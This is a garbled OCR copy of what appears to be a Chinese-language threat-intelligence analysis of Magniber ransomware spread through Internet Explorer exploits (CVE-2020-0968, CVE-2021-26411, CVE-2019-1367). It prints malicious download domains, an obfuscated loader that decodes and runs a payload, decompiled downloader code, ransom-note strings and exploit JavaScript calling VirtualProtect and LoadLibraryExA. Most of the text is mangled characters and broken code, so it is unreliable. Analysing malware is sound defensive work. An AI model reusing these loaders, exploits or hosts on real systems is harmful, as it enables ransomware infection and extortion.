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SNEIEA
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tenkil.Jtw Eﬁﬁ%)ﬂﬂ@% tR& AR, | IRIBERFINATS | R seE R B E , BERELETZ
ARARS | REHEATREL , AR MEREATMREILE , RAABEREMRY , R TE.

BrrRETM =

e 6 6 6 -6 6

tenk| tw ttnrd.com explorads.media/ |nh|n05 cool/ netrids.space  {random}.doetax.site

I
¥
HTTP/1.1 302 Moved Temporarily
Date: Wed, 20 Jan 2021 12:25:53 GMT
Server: Apache
X-Powered-By: PHP/5.6.40
@ - Location: http://3bw4864ecbja65dep.netrids.space/
Connection: close

Content-Type: text/html
o Content-Length: 0

nEARELE RZERE S &R

HA {random}.doetax.site 6,3 L EALBFEXIEIRIS (Obfuscation) F JavaScript :
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["length"] m9x11
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M[13]+E3 [ ] /1ZsM[3 1]](N52599)),
11-1)<++NS2599)NS2599-0; }var  z4H9af2

AIBMRRSIR 1% |, ATAMEE (% payload €{# A URL 41T XOR , F{# M execScript P TAmASIB
JavaScript , 21 F & :

M[mOxii]=String["fromCharCode"](E3V1ZsM[moxii]);

var G8687k
var NS2599
var rsil52=thi document”]["body" ][ "innerText"];
var Ivihoh= this["location"]["toString"]();

(var m9xii-e;mIxii<rs152["length"];moxii+=2){G8687k+=String["fromCharCode"](this["parseInt”](rs152[mIxii]+rs152[moxii+1],16)

Ivihoh["charCodeAnt"](NS2599));
((Ivihoh["length"]-1)<++N52599)
NS2599-0;

}
var z4H9af2 { 'Activexobject"]("htmlfile");
z4H9af2[ "Script" ][ "execScript"](GB687k, "IScript.Encode");
</ >
</ >

S 4mREIR Y JavaScript {F FARE CVE-2020-0968 K41 IE BB 2SI TR,

Low Privilege

’ Escalation m
r

i ’ http://20ct37evecy High Privilege
CVE-2020-0968 dw72y0b.doetax.sit

| /7 e/
— XK
\
“
\ Magniber

oo’

High Privilege http://1fbw726f22j65y.doetax.site/

PITEERIISE , WBEGHRBRGHERAR , SEREZGRIAFNASL , 2 TE :

if ( (unsi int) <= ©x1000 )

+ Bx60); http 2oct37evecvdw72y@b.doetax.site

—
-

else
= ( R + Bx1A); http 1fbw/726f227165y . .doetax.s1te
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FHRISRSHIR , RIEEEE hxxp:/1fbw72622j65y.doetax.site/ BRIFENZRERE , THIE %E)
hxxp://2oct37evecvdw72y0b.doetax.site/ | ae S 2Tk , Tetefg E 472! hxxp://1fbw726{22j65y.doetax.site/ BR
BEIREEE , W TEHR.

ute landle s createmutex(®, B, Eval),
32 = mute handle;
if ( mutex_handle )
{ c
while ( T-’ && != (int (__stdcall *)(_DWORD))((char *)&loc_7F + 1) )// WAIT_OBJECT_@
{ S = (int stdcall *)( _DWORD))WaitForSingleObject(mutex handle, 1008);
ut andle = 25
}
}
v& = get_subauthority 4A9((void *)@xFFFFFFFF); .
if ( v || vE == Bxl100@ )
{

if ( sub_AS2(&v41) )

{

7 = get_subauthority_4A9((void *)@xFFFFFFFF);
if ( 1v7 |] v7 > ex1eee )

vl =

va(e, @

= 4;

(i.-r::*. __st

rar

Jpeni

dcall

e, @);

(v8, offset_15E4 + ox4D, @, @, 67109128, @);// http://1fbw726f22j65y.doetax.site/

int, signed int, unsigned int *, int *, _DWORD))HttpQueryInfol)(

R NTETEE ENAREIL A Magniber , %525 F27{# F AES CBC mode ISR (key, IV: 128) , KT
it , & RSATREIENE key SL TV |, MNEEK) blob ERAMBRERNHEME (RE : 100h)

Address
"+ 000000040C A
] seg0000000414E

EEEEEEEEFEEEEFEEEEEEEEEEEFEEEEEEEE
z %
E

Length
Q0O0000SZ
00000032
00000183
00000010
QO00ONZE:
Q0000030
QOONO00G
0000004
00000006
Q000000
00000138

Type
C

AaGOaaaaaaaaaaanaanaa
B Y

String

ZFIF[FIFIF(FF [FIFIF[FIFIFFIFIFIFIF(F [FIFF[F{FFIFIFIFIFIFIFIFFIFF [FIF(F[FIFIF [FIFF[FIFFFZGZGXEXEY DYDYDYDYDYDYDYDYDYDYDYDOW

=% | BYDY DYDY DYDY DYDY DY DYDY DY DYDY DYDYDYDVDYDYDYDXEXE'V

b keivkvkdvidklviovkdvinkvdoikdviokdkvievkviviodedodvkviodovikvkvivikdkvovk vk viodkviedv kv iodevieviedkvieskedliovidedodivkviviokdivievkedloviededodvkovod -
<TERg

R WEVEVEVEVEVEVEVEVEVEVEVEVGZGZ' ' bl

zpzpzgzge
V&2
Vmpmpmpmpnp
4

VYR VRVEVEVEVEVEVEVEVEVEV VR VR VEVEVEVEVEVEVEVEVEVEVEVR KK R E B R R VEVEVEVEVEVEVEVEVEVEVEVEVEVEVEVEVEVEVEVEVE-~
Yo

wapuywkvky

AP MDA A MDA MDA D A MDA M0 D A DD DA M D M D A T M MDA 04 M MO M 404

= QI2M55790abedel
=+ kernel 3241l
= adwapa32dll
- nedll Al
< s o recuive the provate key and decryption program.\feleln
=+ Te receive the private key and decryption program fellow the mnstrucions belowsva'rla
C i 1. Download V" Tor Browser\™ from hutpsstfwww. torproject.org! and imstall it\ra'dha
C e 2 Inthe V"Tor Browsa\" open your personal page heves'a
C o Walra'dla Note! This page 15 available via \"Tor Boowser'™ only.e'n
C = Yeln Alss youcan
= nal page withowt using V' Tor Browser\":\'a
(= o'a's'n Notel These are temporary addressest They will be svailable for a limited amount of tmelid'n
C O Wa Your files are NOT damaged | Your filles are medified only. This
C o Asy attempts to restore your Biles with the third party softwaze will be fatal for your files’va
C i Walda gl
T Wereate Viemd Je CompddemiLanncher exel™”
C i emd fe Vtant hpalf
£ busdata.site
< ndvgkbwififf.cmion
C i+ nse wmporary addressis on pour péns
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if ( (= Bxl@@ﬂ }l

return ((ir 3stcall * BYTE *, _BYTE *))a3)(v9, );
4 - ( : A & 4 | ¥ (int, int . g - : ! F
{ ' ] & & ] aJ‘ ¥ a’ & & 2 a 54}1‘

= (void tdcall * int * g | ir D, int, Di
(& , @x1FFFFF, @, , B, B 1 a 9, B B]

= 9x10002;
= (void tdcall * nt, t )sub_458 Slgnffj‘...l,nt ) s
(v25, &v17);
= (void tdcall *)(int, int *))sub_458(1, @x5@, 8);
(v25, &v17);

return ((int tdcall * nt, WORD) ) ( + 0xC6))( » 9);

FHBAIHIIR | BT (£ CVE-2020-0968 KRBT EESh , LA EM CVE-2021-26411 EITHRBENIEIR.

t4UH8d0o94B3C
var IA2Pi9B
Gval
prototype"][“repeat
t4UHBdo94B3C[ "Arr

: {
("0000" + CBPt37WSU)["slice"](-(

2DPC7TNH() {
dhvylnQqré t4UH8do94B3C[ "Dataview" ] (ea84263Fupl);
C8Pt37W5U H
(var i = (¢ £ ; 1 < eas4263Fupl["byteLength"] 2; i 2) C8Pt37WSU T { (dhvylnQgre[ "get
» TBHI43uEIN = t4UHBdo94B3C ument"][“createAttribute”]("alloc");
IN["nodevalue"] h(CBPtB?NSU 3
TE6HI43uEIN;

V6ZIB3i41A 8gAh03Js / S4X5(VezZIB3id1A (63
882T(cOgAh0] 5 (T2 6t6h494z (SszeyGpb) (
B34y719Z82t4Z0p t4UH8do94B3C[ "Map"]();
u3C1P@574U = W653r1qz82hcQ(c@gAh0ISax5(fzogr6tehasdz (B34y719Z82t4zep), (
E91K15A20jZ 5e 6(u3C1P8574U, "rpcrta4.dll");
* 1160DWMK1E X -8kw7Qy5P6(u3C1PO574U, "msvcrt.dll");
I71fecd4z4hE = X 8kw7QyS5P6(I160DwMk1E, "ntdll.d1ll");
d339@@rAp38 - X5eX 7Qy5P6(I160DWMk1E, "Kernelbase.dll");
var G89oW1ff273 8t1m58(d339eeraAp38, "VirtualProtect");
var z9nk559dy = gV : 1m58(d339eerAp38, "LoadlLibraryExA");
var 17Fb24e554 - document eateAttribute"]("b47re7F5");
var Teeik7B46qusje 6h494z (17Fb24@554) ;
var x85etQe29Fk C 03s4x5(f r6t6h494z(17Fb24@554)
var Kw7r8282Us D
var cqzoH3DHITk
var KXhY24BhE18137
Lx112747VS4(E91K15A203Z);
var fIi2Gj104eV = new t4UH8do94B3C["UintsArray"]([(ex1fe3 ~ 8118), (ex199 " ex132), (ax1asa ~ 4232), (ex2382 ~ 8961), (@xlal ~
var i5821q4e9 VD! 6i1(z9nk5S9dy, [bnS;lCZZ 845("ole32.d11"), e, 1]) ( 3 :
var XehsyecnSoW = c7gtlshes( (4723 e
VDGYH5 611(G890W1ff273, [i5821q409, F11263164ev length, ( 2~ 4 ), Xeh5yecnSoW]);
3f6s88(i5821q409, fIi2GjledeV);
vDGYH5611(G890W1ff273, [15821q409, fIi2GjledeV["length"], c@gAh0IS4XS5(Xeh5yeCnSolW, 3 )), XehSyecnsoW]);
/DGYH5611(1i5821q409, [1); /script></bod /html>

BANE—DERAT s AR o] AR | BB H EH AR BB IRAERIR S ERERIE | FREFHH—
BER B A |, SROEERE |, EMEAEIL RN,
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BEARAZABSE Y R B AR |, (BEFH CVE-2019-1367 525K N HMBANEFT , Bob , HERTE
IE11, IE10 F IE9 {# 8 Jscript9.dll , Y AR3Z CVE-2019-1367 JRiRAIEZ L |, (B As&s] IE {# FH IES 44
R, KiERRRAELE.

Page 5 of 7



https://teamt5.org/tw/posts/internet-explorer-the-vulnerability-ridden-browser /

(var A = 8; A < a.length; A++) S(aH (A * ¢), a.charCodeAt(A));
var al ab Bx98ee;
(var A = 8; A < b.length; A++) S(al + (A * ¢), b.charCodeAt(A));
var al 0 h
S(al, aD);
S(al + e, aE);
Ss(al (2 * e), aF);
s(al (3 * e), aG);
S(al + (4 * e), aH);
S(al (5 " e), al);
S(aC - ©x20, Ox7FFE@@08);
S(aC - ex1C, Ox7FFEQe08);
S(aC - ©x18, Ox7FFEQ008);
S(aC - @x14, ©x7FFE@ee9);
S(aC - ex10, ©x7FFE@ee9);
S(aC - exeC, ©x7FFE@ees);
S(aC - @xes, @x7FFE@000);
S(aC - 0xe4, Ox7FFEeee8);
S(aC 4, av 1):
S(aC 4 £ Bx18, av):
S{(aC + 4 + ¢ @x1C, av + 1);
S(aC + 4 + ¢ @x20, au);
s(acC ] il ex2e, 0 h);
S(aC 4 + 4 + ex20, 0 + h);
S(aC + 4 - 4 + 4 + 4 + 8x20, (m.length * c));
S(aC + 4 + 4 + 4 + 4 + 4 + 4 + Ox20, 0x40);
S(aC + 4 + 4 + 4 4 + 4 + 9x20, aC
S(aB, aC);

L

ﬁfﬂb%ﬁEEWLﬁ%ﬁéﬁ%ﬁ Q%ﬁﬂm@%$%ﬁﬁKLﬁﬂﬁﬁm BEYPREE
#E)\ﬁﬁﬂféﬁ&f BEERISLE5R, ?‘TEE ISR , TAEREREERN (Fileless)
, DARIRRE — L %Enu{;i/ﬁﬂﬂ’]—f““ﬁ
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WEE A MIARTIA 2022 45 6 B 25 B , HURARLESOE 1R BB S | #TFARIRMATATER | & IE RN
R GFAEASRE , WRETREREMRMTFE , KEEITHE. 1R , NERHMSRME.
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